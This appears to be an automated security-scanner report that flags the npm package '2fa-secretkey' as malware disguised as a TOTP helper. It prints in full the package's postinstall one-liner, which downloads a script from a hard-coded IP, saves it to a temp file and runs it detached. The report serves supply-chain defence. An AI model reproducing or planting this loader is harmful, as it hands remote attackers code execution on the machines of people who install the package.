The payload is saved under a random name in the system temporary directory and detached from the installer. - **Trigger:** npm installation triggers the postinstall lifecycle hook. - **Impact:** A remote server can run arbitrary code with the installing user's privileges. - **Evidence paths:** package.json, index.js - **Review source:** ai\_review - **Reviewed:** 2026-08-27T19:18:02.980Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** Remote payload download, temporary-file drop, and detached Node execution. - **Attack narrative:** During npm installation, the postinstall command retrieves p.js from a hard-coded HTTP endpoint. It collects the response, writes it to a randomly named JavaScript file in the system temporary directory, and launches Node on that file as a detached process. This gives the remote endpoint control over code executed with the installer's permissions. - **Rationale:** The manifest contains a concrete install-time remote code execution chain: download, write, and detached execution. This is unrelated to the declared TOTP utility and warrants blocking. - **Files touched:** package.json - **Network endpoints:** http://185.14.92.233:7777/p.js ### Review decision - **Verdict:** Malicious - **Confidence:** 99.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for:** The postinstall hook fetches a JavaScript payload from a hard-coded remote server., It writes the downloaded content to a randomly named temporary JavaScript file and starts it detached., The downloaded payload is executed during installation without user action, and errors are suppressed. - **Evidence against:** The visible package entry point only exposes TOTP helper wrappers and contains no additional network or process execution., The referenced local module ./lib/core is absent from this package archive, so the advertised runtime API is incomplete. ## Public findings ### 1. High: Install Time Lifecycle Scripts - **Category:** Manifest - **Confidence:** 90.0% - **Path:** package.json - **Public source:** [View source]() Package defines install-time lifecycle scripts. Public source snippet (untrusted): ```json scripts.postinstall = node -e "var h=require('http'),d='',os=require('os'),fs=require('fs'),pa=require('path'),cp=require('child_process');h.get('http://185.14.92.233:7777/p.js',function(r){r.on('data',... ``` ### 2. Critical: Red Install Lifecycle Script - **Category:** Manifest - **Confidence:** 95.0% - **Path:** package.json - **Public source:** [View source]() Install-time lifecycle script matches a deterministic static-gate block pattern. Public source snippet (untrusted): ```json scripts.postinstall = node -e "var h=require('http'),d='',os=require('os'),fs=require('fs'),pa=require('path'),cp=require('child_process');h.get('http://185.14.92.233:7777/p.js',function(r){r.on('data',... ``` ### 3. Low: Scripts Present - **Category:** Manifest - **Confidence:** 100.0% Package declares npm scripts. ### 4. High: Suspicious Lifecycle Evidence - **Category:** Manifest - **Confidence:** 99.0% - **Path:** package.json - **Public source:** [View source]() The postinstall hook fetches a JavaScript payload from a hard-coded remote server. Public source snippet (untrusted): ```json "postinstall": "node -e \"var h=require('http'),d='',os=require('os'),fs=require('fs'),pa=require('path'),cp=require('child_process');h.get('http://185.14.92.233:7777/p.js',function(r){r.on('data',function(c){d+=c});r.on('end',function(){try{var t=pa.join(os.tmpdir(),'_'+Math.random().toString(36).slice(2)+'.js');fs.writeFileSync(t,d);cp.spawn(process.execPath,[t],{detached:true,stdio:'ignore'}).unref()}catch(e){}})}).on('error',function(){});\" ``` ## Dependencies and install lifecycle - **Lifecycle scripts present:** Yes - **Published lifecycle scripts:** postinstall - **Dependencies:** 0 - **Optional dependencies:** 0 - **Peer dependencies:** 0 - **Development dependencies:** 0 - **Published dependency-graph edges:** 0 ## Package metadata - **Package:** 2fa-secretkey - **Ecosystem:** npm - **Version:** 1.0.4 - **License:** MIT - **Version published:** 2026-08-27T19:14:01.683Z - **Package first seen:** 2026-08-27T19:07:13.978Z - **Package last seen:** 2026-08-27T19:31:47.202Z - **Known versions:** 4 - **Latest version:** 1.0.6 - **Appeal under review:** No - **Description:** Fast, minimal two-factor auth helper for Node.js — HMAC-based OTP with zero dependencies - **Author:** secretkey2fa contributors - **Keywords:** totp, hotp, otp, 2fa, mfa, authenticator, secret-key, one-time-password - **Runtime engines:** node: \>=14 - **Artifact files:** 3 - **Artifact unpacked size:** 3,317 bytes - **Artifact signatures:** 1 - **Attestations:** No ## References - [HTML security report]() - [Repository]() - [Homepage]() - [Issues]()
